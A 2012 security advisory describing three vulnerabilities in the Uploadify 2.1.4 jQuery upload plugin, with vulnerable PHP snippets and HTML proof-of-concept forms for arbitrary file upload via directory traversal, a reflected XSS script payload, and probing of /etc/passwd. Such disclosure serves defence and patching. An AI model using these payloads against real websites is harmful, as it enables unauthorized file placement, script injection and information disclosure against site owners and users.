[waraxe-2012-SA#083] - Multiple Vulnerabilities in Uploadify 2.1.4




[waraxe-2012-SA#083] - Multiple Vulnerabilities in Uploadify 2.1.4
===============================================================================

Author: Janek Vind "waraxe"
Date: 05. April 2012
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-83.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Uploadify is a jQuery plugin that integrates a fully-customizable multiple file
upload utility on your website. It uses a mixture of Javascript, ActionScript,
and any server-side language to dynamically create an instance over any DOM
element on a page.

http://www.uploadify.com/

Vulnerable versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Affected is Uploadify version 2.1.4.

###############################################################################
1. Arbitrary File Upload vulnerability in "uploadify.php"
###############################################################################

Reason: missing input data validation
Attack vector: user submitted GET or POST parameter 'folder'
Preconditions: none
Result: attacker can upload any files to remote system

Source code snippet from script "check.php":
-----------------[ source code start ]---------------------------------
if (!empty($_FILES)) {
$tempFile = $_FILES['Filedata']['tmp_name'];
$targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';
$targetFile = str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];

move_uploaded_file($tempFile,$targetFile);
echo str_replace($_SERVER['DOCUMENT_ROOT'],'',$targetFile);
}
-----------------[ source code end ]-----------------------------------

We can see, that user submitted parameter 'folder' is used in argument
for php function "move_uploaded_file()". There is no input data validation,
therefore attacker can use directory traversal and upload files with any
extension to arbitrary directory on remote system.

Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/uploadify-v2.1.4/uploadify.php";
method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="/../../">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------


###############################################################################
2. Reflected XSS vulnerability in "uploadify.php"
###############################################################################

Reason: outputting html data without proper encoding
Attack vector: user submitted GET or POST parameter 'folder'
Preconditions: none


Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/uploadify-v2.1.4/uploadify.php";
method="post" enctype="multipart/form-data">
<input type="file" name="Filedata">
<input type="hidden" name="folder" value="<script>alert(String.fromCharCode(88,83,83))</script>">
<input type="submit" value="Upload test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result: XSS payload execution can be observed


###############################################################################
3. File Existence Disclosure vulnerability in "check.php"
###############################################################################

Reason: missing input data validation
Attack vector: user submitted POST parameters
Preconditions: none
Result: attacker can reveal existance of files and directories on remote system

Source code snippet from script "check.php":
-----------------[ source code start ]---------------------------------
$fileArray = array();
foreach ($_POST as $key => $value) {
if ($key != 'folder') {
if (file_exists($_SERVER['DOCUMENT_ROOT'] . $_POST['folder'] . '/' . $value)) {
$fileArray[$key] = $value;
}
}
}
echo json_encode($fileArray);
-----------------[ source code end ]-----------------------------------

We can see, that user submitted POST parameters are used in argument
for php function "file_exists()". There is no input data validation, therefore
attacker can use directory traversal and reveal existence of arbitrary files
and directories on affected system.

Test:
-----------------[ PoC code start ]-----------------------------------
<html><body><center>
<form action="http://localhost/uploadify-v2.1.4/check.php"; method="post">
<input type="hidden" name="folder" value="/../../../../../../../../etc">
<input type="hidden" name="waraxe" value="passwd">
<input type="submit" value="Test">
</form>
</center></body></html>
-----------------[ PoC code end ]-----------------------------------

Result: {"waraxe":"passwd"}


Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

come2waraxe@xxxxxxxxx
Janek Vind "waraxe"

Waraxe forum: http://www.waraxe.us/forums.html
Personal homepage: http://www.janekvind.com/
Random project: http://albumnow.com/
---------------------------------- [ EOF ] ------------------------------------



Relevant Pages

  • [ISecAuditors Security Advisories] eXtplorer Remote Code Execution
    ... eXtplorer standalone & Joomla!/Mambo Remote Code Execution vulnerability ... eXtplorer is prone to a local file include and directory traversal ... In order to perform the attack, an attacker could upload a PHP ...
    (Bugtraq)
  • [Full-disclosure] FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities
    ... 2013-08-04: Public Disclosure (Vulnerability Laboratory) ... The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the POST method request & header. ... The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access. ... Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. ...
    (Full-Disclosure)
  • FTP OnConnect v1.4.11 iOS - Multiple Web Vulnerabilities
    ... 2013-08-04: Public Disclosure (Vulnerability Laboratory) ... The vulnerability is located in the upload module when processing to upload files with manipulated filenames in the POST method request & header. ... The arbitrary file upload issue allows a remote attacker to upload files with multiple extensions to bypass the validation for unauthorized access. ... Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password. ...
    (Bugtraq)
  • [NT] Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (MS06-037)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution ... an attacker who successfully exploited this ... vulnerability could take complete control of the client workstation. ...
    (Securiteam)
  • [NT] Vulnerabilities in Graphics Rendering Engine Allows Code Execution (MS05-053)
    ... formats that could allow remote code execution or on an affected system. ... A remote code execution vulnerability exists in the rendering of Windows ... An attacker who successfully exploited this vulnerability could take ... E-mail messages that are viewed in plain text format will not contain ...
    (Securiteam)